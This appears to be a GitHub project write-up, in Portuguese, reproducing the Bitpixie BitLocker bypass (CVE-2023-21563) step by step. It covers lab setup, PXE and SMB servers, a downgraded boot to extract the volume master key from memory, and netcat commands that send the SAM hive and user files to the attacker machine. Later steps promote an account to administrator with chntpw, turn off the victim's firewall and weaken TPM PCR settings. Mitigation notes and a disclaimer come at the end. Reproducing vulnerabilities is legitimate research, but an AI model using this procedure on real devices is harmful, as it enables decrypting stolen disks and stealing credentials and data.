lr2006-robot/bitpixieQuebrando a criptografia BitLocker baseada na vulnerabilidade CVE-2023-21563
Reprodução em máquina virtual. A máquina local (atacante) usa Ubuntu 22.04.5 LTS, as vítimas são Windows 10 21H2 19041.1 e Windows 11 21H2 22000.318, ambas com criptografia BitLocker ativada. Uso QEMU como gerenciador de máquinas virtuais e virt-manager para administração. Aqui utilizo a VM Windows 11 para as operações.
Meus arquivos de reprodução são originários do repositório GitHub da Syss, com adaptações de versões de ferramentas e tratamento de alguns casos inesperados. Pode ser usado diretamente após download, ou modificado conforme necessidade. As imagens ISO das VMs vieram do UUP Dump, que oferece downloads de várias versões do Windows. Após o download, execute o arquivo .cmd ou .sh para obter a imagem ISO.
A instalação e uso do QEMU e virt-manager não serão detalhados aqui, mas para novos usuários, no virt-manager, vá em "Edit -> Preferences -> General -> Enable XML editing" para habilitar a edição XML, permitindo editar diretamente o arquivo de configuração XML da VM.
Ao criar a VM, selecione "Local install media (ISO image or CDROM)" e escolha a imagem ISO do Windows 11 baixada. Aloque os recursos adequados (CPU, memória, espaço em disco, etc.) e, por fim, certifique-se de marcar "Customize configuration before install" para editar a configuração antes da instalação. Pode haver problemas na identificação automática do sistema; nesse caso, selecione manualmente "Microsoft Windows 10/11".
Agora vamos configurar. O ponto mais importante (pois não pode ser alterado depois, ao contrário de outras configurações) é: na guia "Overview", escolha Firmware como "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd". Se não selecionar isso, exclua a VM e recrie (não é trabalhoso).
Em seguida, vá para a guia "Boot Options" e garanta que "SATA CDROM 1" esteja marcado; caso contrário, não será possível instalar o sistema. Você pode mover "SATA CDROM 1" para o topo da lista para simplificar a inicialização. Agora já pode criar a VM. Após instalar o sistema, faremos as demais alterações de configuração de forma unificada.
Viu "Press any key to boot from CD or DVD..."? Pressione qualquer tecla para entrar na tela de instalação e siga as instruções. Se acidentalmente entrar em outra página, não se preocupe: selecione "Boot Manager" e depois "UEFI: QEMU DVD-ROM" para voltar à tela anterior e pressionar qualquer tecla para iniciar.
Agora instale o sistema: marque a opção de não ter chave do produto e instale a versão Professional. Depois virão telas de criação de conta, etc. Recomendo usar "Entrar offline" para reduzir problemas. Se essa opção não aparecer, use Shift + F10 para abrir o prompt de comando e digite OOBE\BYPASSNRO para habilitar a criação de conta offline.
Após entrar normalmente, no terminal digite msinfo32 para ver as informações do sistema (verifique se é UEFI na máquina física) e desligue a VM. Agora vamos modificar a configuração:
<rom enabled="no"/> para habilitar a inicialização pela rede. Exemplo:<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
Optar pela configuração de rede virtio deve-se principalmente à sua característica de "paravirtualização" de hardware, comunicando-se diretamente com o host. Além disso, desabilitar a ROM de inicialização de rede permite que o firmware UEFI se comunique diretamente com a placa de rede virtio através do protocolo PXE embutido, evitando interferências desnecessárias durante a inicialização e garantindo que possamos entrar no sistema sem problemas para configurações e testes posteriores.
Entre na VM e use a unidade de CD para instalar os drivers virtio (isso é feito automaticamente). Teste se a rede está funcionando. Em seguida, ative a criptografia BitLocker. Crie um arquivo "flag" na área de trabalho para verificação posterior.
Se estiver reproduzindo em máquina física, basta conectar o atacante e a vítima com um cabo de rede; não é necessário configurar virtio. As outras configurações são basicamente as mesmas. A única diferença é que a máquina física pode ter várias interfaces de rede; é preciso selecionar a interface correta para configurar.
A configuração da vítima está concluída. Desligue a VM. Agora podemos seguir as etapas definidas anteriormente no princípio da exploração da vulnerabilidade.
Aqui fornecemos um diagrama de referência do fluxo completo do ataque. Primeiro, veja uma visão geral; depois, implementaremos passo a passo:
Na máquina local (atacante), os seguintes pacotes devem estar instalados:
No Ubuntu ou Debian, use o seguinte comando para instalar:
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
Nos arquivos do projeto, execute o script build.sh para gerar o bitpixie-initramfs. Se quiser modificar para adaptar ao ambiente local, edite o build.sh para configurar as ferramentas e versões desejadas e, em seguida, execute novamente para gerar o bitpixie-initramfs.
Depois, no terminal, digite ifconfig para consultar o gateway virtual da máquina local (atacante). Exemplo:
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Use os seguintes comandos para iniciar o servidor TFTP (para o processo de inicialização PXE) e o servidor SMB (para transferir o script de modificação do arquivo BCD). Preencha a interface que acabamos de consultar (no meu caso, virbr0).
# Iniciar o servidor TFTP e DHCP
./start-server.sh pxe <interface>
# Iniciar o servidor SMB para transferência do arquivo BCD
./start-server.sh smb <interface>
O principal problema é que o comando bcdedit só pode ser executado como administrador local. No entanto, como o arquivo BCD está localizado na partição EFI não criptografada do disco, existem várias maneiras de extraí-lo. Uma delas é remover fisicamente o disco rígido e extraí-lo em outro sistema. Porém, um método mais simples e menos invasivo é inicializar nas opções avançadas de inicialização. Na maioria dos sistemas, Shift + Reiniciar faz isso. Mesmo na tela de login, esse método funciona. Agora vá em "Solução de problemas -> Opções avançadas -> Prompt de comando" e insira a linha de comando. Durante esse processo, é provável que apareça a tela de recuperação do BitLocker; podemos ignorá-la usando o botão "Pular esta unidade".
Agora, no terminal, digite ipconfig para verificar a rede. Se o IP exibido for 10.13.37.xxx, pode pular as etapas abaixo. Caso contrário, é necessário configurar a rede manualmente. Primeiro, verifique o caminho correto: descubra qual é a unidade e selecione a versão da VM:
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
Em seguida, com base no resultado, insira os comandos para configurar a rede:
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig
Após obter um endereço IP, podemos realizar a transferência via SMB. Insira os seguintes comandos para que o arquivo BCD modificado seja movido diretamente para a máquina atacante, permitindo iniciar o ataque bitpixie propriamente dito:
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat
Em seguida, voltamos à página e, através de "Usar um dispositivo -> Inicialização PXE", inicializamos com o bootloader rebaixado, carregamos o BCD modificado, desbloqueamos o disco, o kernel falha ao iniciar e executa pxesoftreboot. Se a inicialização PXE não for encontrada, saia e verifique a configuração da VM: a opção NIC em "Boot Options" está marcada? Como controlamos o servidor PXE, podemos entrar no sistema Debian que preparamos anteriormente.
Depois, digite root para entrar, use o comando su e, em seguida, execute nosso script na partição:
run-exploit /dev/sda3
Se tudo correr bem, os dados VMK correspondentes serão exibidos diretamente e, ao mesmo tempo, veremos um arquivo vmk.dat no diretório atual. Esse é o arquivo VMK extraído da memória. O conteúdo do disco criptografado é montado no diretório /mnt. Podemos acessá-lo diretamente para ver o arquivo flag criado anteriormente.
Até este ponto, conseguimos explorar com sucesso a vulnerabilidade Bitpixie, extrair o arquivo VMK do disco criptografado pelo BitLocker e acessar o conteúdo do disco criptografado.
É claro que podem ocorrer algumas situações, como não encontrar o arquivo VMK. Nesse caso, recomenda-se tentar novamente, pois o VMK pode não ter sido retido corretamente na memória, ou pode não ter sido escaneado adequadamente, ou ainda pode ser devido a uma incompatibilidade de versão do BCD. Outra situação é encontrar o arquivo VMK, mas não conseguir montar o disco criptografado. Isso pode ocorrer porque o arquivo VMK está incompleto ou corrompido. É necessário localizar o identificador válido 03 20 01 00. Tente extrair o arquivo VMK novamente ou verifique se a ferramenta usada suporta a versão do BitLocker do sistema atual (o dislcker está fixado em uma versão antiga estável; pode-se baixar uma nova versão).
Até aqui, acessamos os arquivos necessários, mas ainda não exportamos os arquivos originais do computador. Podemos transferir os dados necessários diretamente pela rede para a máquina atacante. Recomendo transferir apenas arquivos úteis; arquivos de sistema não são necessários. Aqui, utilizo o arquivo flag da área de trabalho e o arquivo SAM do sistema como exemplo.
Para transferir arquivos pequenos, abra uma porta de conexão na máquina atacante:
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
Na máquina vítima, insira os seguintes comandos para transferir os arquivos para a máquina atacante:
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
Para transferir pastas, primeiro compacte-as e depois transfira:
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
Embora já tenhamos acesso ao disco criptografado, ainda não temos controle total sobre o computador da vítima. Nesse momento, podemos usar a ferramenta chntpw para modificar a senha da conta de usuário no sistema e obter privilégios de administrador. No entanto, recomendo criar um usuário de baixo privilégio e depois elevar para administrador, o que é mais estável.
Aqui, vou elevar um usuário de baixo privilégio, Dorange, para administrador. Primeiro, usamos chntpw para modificar as permissões da conta de usuário. Exemplo de comando:
chntpw -u Dorange /mnt/Windows/System32/config/SAM
Ou também podemos entrar primeiro e listar os usuários:
chntpw - /mnt/Windows/System32/config/SAM
Em seguida, siga as instruções para modificar as permissões. Podemos alterar diretamente as permissões ou adicionar o usuário ao grupo de administradores. Recomendo adicionar ao grupo de administradores, pois é mais estável. Após a modificação, use chntpw -i SAM para verificar as permissões.
Observe: é necessário desmontar a partição do BitLocker para garantir que todas as alterações sejam gravadas no disco antes de reiniciar o sistema. Por fim, entre e verifique se nossa modificação foi bem-sucedida. No terminal, digite net localgroup Administrators para ver os membros do grupo de administradores e confirmar se o usuário Dorange que adicionamos está presente.
Agora, conseguimos quebrar o BitLocker em uma máquina virtual com base na vulnerabilidade CVE-2023-21563, extrair o arquivo VMK, acessar o conteúdo do disco criptografado, exportar arquivos importantes e também elevar um usuário de baixo privilégio para administrador.
A configuração em máquina física não é tão amigável quanto em máquina virtual. Basicamente, as etapas anteriores para VM podem ser usadas diretamente, sem muitos requisitos de hardware. Já na máquina física, é necessário verificar a configuração de hardware passo a passo. Observe que a maioria dos computadores vem com a versão Home por padrão, mas apenas a versão Professional pode usar o recurso BitLocker; portanto, pode ser necessário atualizar a máquina física.
Em nossos experimentos em equipe, descobrimos que a nova versão do Windows 25H2 é quase impossível de ser explorada. Primeiro, ao entrar na linha de comando nas opções avançadas, não é possível pular a tela de inserção da chave de recuperação do BitLocker. Mesmo se conseguirmos, ao realizar o soft reboot PXE, é necessário inserir a chave de recuperação do BitLocker para usar o boot.
Além disso, os requisitos iniciais de hardware para máquinas físicas são relativamente altos. Alguns laptops finos e notebooks gamers mais antigos não suportam inicialização PXE. Aqui está um exemplo de um notebook fino da Xiaomi cujo hardware não suporta inicialização pela rede (normalmente haveria a opção "Network Boot"):
E, para marcas comuns nacionais, como notebooks ASUS, descobrimos que mesmo com versões mais baixas do Windows, o processo de inicialização PXE trava durante a inicialização do kernel (suspeita-se que o hardware do fabricante imponha certas limitações).
Primeiro, verifique se a máquina vítima suporta inicialização UEFI. No Windows, digite msinfo32 para ver as informações do sistema. Se em "Resumo do sistema" o "Modo BIOS" for "UEFI", então é compatível.
O mais importante é verificar se o patch de correção já foi aplicado na máquina física. No terminal do administrador, digite Get-HotFix para ver a lista de patches. Se o KB5025885 ou patches posteriores já estiverem instalados, a vulnerabilidade não pode ser explorada. Além disso, verifique se o certificado é antigo (ouvi dizer que a Microsoft emitiu um novo certificado em 2026, não sei se é verdade).
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"
Sobre a configuração do TPM, no Windows, pesquise por "Gerenciador de Dispositivos", vá em "Dispositivos de segurança" e veja se há um dispositivo TPM e se a versão é 2.0. Caso contrário, entre no BIOS e ative o TPM. Em seguida, no terminal do administrador, digite manage-bde -protectors -get C: para ver o status da criptografia do BitLocker. Se os PCRs do TPM não forem 7 e 11, precisamos ajustá-los manualmente (parece que o padrão atual é 0, 2, 4, 11).
Primeiro, pressione "Win + R", digite gpedit.msc para abrir o Editor de Diretiva de Grupo Local. Navegue por "Configuração do Computador -> Modelos Administrativos -> Componentes do Windows -> Criptografia de Unidade de Disco BitLocker -> Unidades do Sistema Operacional". Localize a opção "Configurar o perfil de validação da plataforma TPM para configurações de firmware UEFI locais", ative-a e, em "Opções", selecione "PCR 7 e 11". Confirme e saia.
Em seguida, de volta ao terminal do administrador, exclua o protetor TPM original e adicione novamente o protetor TPM. Isso fará com que a configuração seja baseada nos PCRs 7 e 11 que definimos anteriormente. Observe que, como sabemos que os arquivos de inicialização são da versão antiga para induzir o ataque, o PCR não pode incluir o 4; caso contrário, o ataque não funcionará:
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:
As máquinas físicas podem não ter a inicialização PXE via IPv4 ativada por padrão. Portanto, é necessário entrar no BIOS e ativá-la. Consulte online qual tecla de atalho para entrar no BIOS (varia conforme o computador; não entraremos em detalhes aqui). Se não conseguir, use "Shift + Reiniciar" e navegue por "Solução de problemas -> Opções avançadas -> Configurações de Firmware UEFI" para reiniciar e entrar. No meu computador físico, na guia "Advanced" do BIOS, existe "Advanced\Network Stack Configuration". Ative "Network Stack" e "Ipv4 PXE Support".
Agora, configure a conexão de rede física. Isso requer um cabo de rede conectando o atacante e a vítima. Na máquina atacante, é necessário iniciar um servidor DHCP para atribuir um endereço IP à vítima (pode ser atribuído manualmente). Na máquina atacante, inicie o servidor DHCP com antecedência:
./start-server.sh smb <interface>
./start-server.sh pxe <interface>
Em seguida, tente pingar o endereço IP da vítima para verificar se a rede está funcionando. Se não funcionar, verifique a configuração de rede:
brctl show virbr0
Verifique se o campo interfaces está vazio. Se estiver, adicione manualmente a interface de rede física. Primeiro, liste e depois adicione (é necessário identificar corretamente):
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0
Quando verificar novamente o campo interfaces, deve ver a interface física adicionada. Agora tente pingar o IP da vítima. O IP da vítima pode ser visto executando ipconfig nela. Se o ping não funcionar, verifique a configuração de rede para garantir que atacante e vítima estejam na mesma rede.
Se a vítima conseguir pingar o atacante, mas o atacante não conseguir pingar a vítima, é necessário verificar as configurações de firewall da vítima e garantir que o tráfego do atacante seja permitido. Pode-se desabilitar temporariamente o firewall:
netsh advfirewall set allprofiles state off
No atacante, para garantir que o tráfego da rede 10.13.37.0/24 não seja bloqueado, execute estes dois comandos (na prática, geralmente funciona sem eles):
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT
No entanto, ao entrar na linha de comando durante a inicialização avançada, a etapa de conexão de rede geralmente não é automática, assim como na configuração da VM. É necessário configurar manualmente o driver. Primeiro, prepare um pendrive com os arquivos de driver. Em seguida, na máquina vítima, carregue o driver e configure a rede. Essa etapa é simples e quase idêntica à anterior, portanto não será detalhada. As etapas seguintes são as mesmas da VM: siga as etapas anteriores para obter o arquivo BCD necessário.
Claro, também podemos extrair o arquivo BCD diretamente de uma VM com o mesmo sistema operacional da máquina física. Dessa forma, não é necessário configurar a rede na máquina física; basta extrair na VM e transferir via SMB para o atacante. Isso simplifica bastante, mas há o risco de incompatibilidade de versão do BCD, o que pode impedir a localização do arquivo VMK posteriormente.
Depois, entre na inicialização PXE. As operações subsequentes não diferem. No entanto, devido a problemas de hardware, pode haver falha na inicialização, resultando em travamento ou até mesmo na obtenção bem-sucedida do VMK. Portanto, ao reproduzir em uma máquina física, a taxa de sucesso pode ser muito baixa devido a vários problemas de software e hardware. Talvez esse seja um dos motivos pelos quais essa vulnerabilidade, embora pareça grave, não tenha sido amplamente explorada ou corrigida.
Este artigo mostra que a autenticação pré-inicialização impede que atacantes não autorizados acessem o conteúdo do disco criptografado. No entanto, a autenticação pré-inicialização não impede que um insider mal-intencionado com um PIN BitLocker válido obtenha acesso administrativo local ao dispositivo, desative o antivírus ou extraia credenciais em cache. Isso é particularmente crítico em sistemas compartilhados, pois permite que um atacante acesse diretamente os dados de outros usuários no mesmo sistema.
Uma medida eficaz para evitar ataques de downgrade é alterar os PCRs verificados pelo TPM ao desbloquear. Para a vulnerabilidade do gerenciador de inicialização CVE-2024-38058, a Microsoft adicionou o PCR 4 ao processo de medição da inicialização. Esse registro contém o hash do código do gerenciador de inicialização e todas as tentativas de inicialização. Atualmente, alguns computadores já possuem os PCRs padrão 0, 2, 4, 11.
O gerenciador de inicialização vulnerável usado no ataque de downgrade é assinado pela "Microsoft Windows Production PCA 2011". Esse certificado tem validade de 15 anos, ou seja, expira em junho de 2026. O "Microsoft UEFI CA 2011" (usado para assinar gerenciadores de inicialização de terceiros) e o "Microsoft Corporation KEK CA 2011" (responsável por gerenciar o conteúdo do banco de dados e DBX) terão destino semelhante. Portanto, a Microsoft registrou um novo conjunto de certificados raiz em 2023; ao assinar o gerenciador de inicialização do Windows, o novo "Windows UEFI CA 2023" será usado. Atualmente, o registro dessa autoridade de certificação ainda não foi concluído automaticamente, mas pode ser feito manualmente aplicando o patch KB5025885. Esse patch adiciona a nova CA ao banco de dados, instala um gerenciador de inicialização assinado pela CA de 2023 e revoga a CA de 2011 adicionando-a ao banco de dados DBX.
Se foi útil para você, dê uma estrela no projeto do GitHub star!!!
Aviso Legal: Todos os artigos deste autor são para compartilhamento técnico, registrados com fins defensivos. Todas as operações foram realizadas em ambiente experimental. Não utilize para outros fins; caso contrário, as consequências são de sua responsabilidade.